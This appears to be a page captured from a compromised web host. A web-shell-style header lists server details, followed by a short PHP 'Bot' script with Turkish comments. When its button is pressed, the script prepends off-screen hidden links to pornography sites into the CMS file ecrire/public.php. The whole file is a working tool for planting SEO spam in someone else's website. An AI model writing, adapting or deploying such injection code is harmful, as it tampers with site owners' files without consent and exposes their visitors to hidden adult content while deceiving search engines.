Server : Apache System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64 User : hednacluml ( 122243) PHP Version : 8.3.9 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl Directory : /home/hednacluml/write/ |
<?php // Backlink ekleme işlemi if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Eklenecek backlink kodu $backlinkCode = '<span style="position: absolute; left: -4355px;"> <a href="https://www.fapjunk.com" title="Porn Videos">Free Porn</a><br></br><a href="https://www.xbporn.com" title="xbporn">xbporn</a><br><br></br><a href="https://www.bangspankxxx.com">https://www.bangspankxxx.com</a><br><a href="https://teensexonline.com/">Porn</a> </span>' . PHP_EOL; // Ecrire klasörünün yolu $ecrireDir = __DIR__ . DIRECTORY_SEPARATOR . 'ecrire'; // public.php dosyasının yolu $publicFilePath = $ecrireDir . DIRECTORY_SEPARATOR . 'public.php'; // public.php dosyasını kontrol ve düzenleme işlemi if (file_exists($publicFilePath)) { // Dosya içeriğini oku $fileContents = file_get_contents($publicFilePath); // Backlink zaten var mı kontrol et if (strpos($fileContents, $backlinkCode) === false) { // Backlinki dosyanın en üstüne ekle $newContents = $backlinkCode . $fileContents; // Dosyayı yeni içerikle yaz if (file_put_contents($publicFilePath, $newContents)) { echo "Backlink başarıyla eklendi: $publicFilePath\n"; } else { echo "Dosyaya yazma hatası: $publicFilePath\n"; } } else { echo "Backlink zaten mevcut: $publicFilePath\n"; } } else { echo "public.php dosyası bulunamadı: $publicFilePath\n"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Bot PHP</title> </head> <body> <form method="post"> <button type="submit">EKLE</button> </form> </body> </html>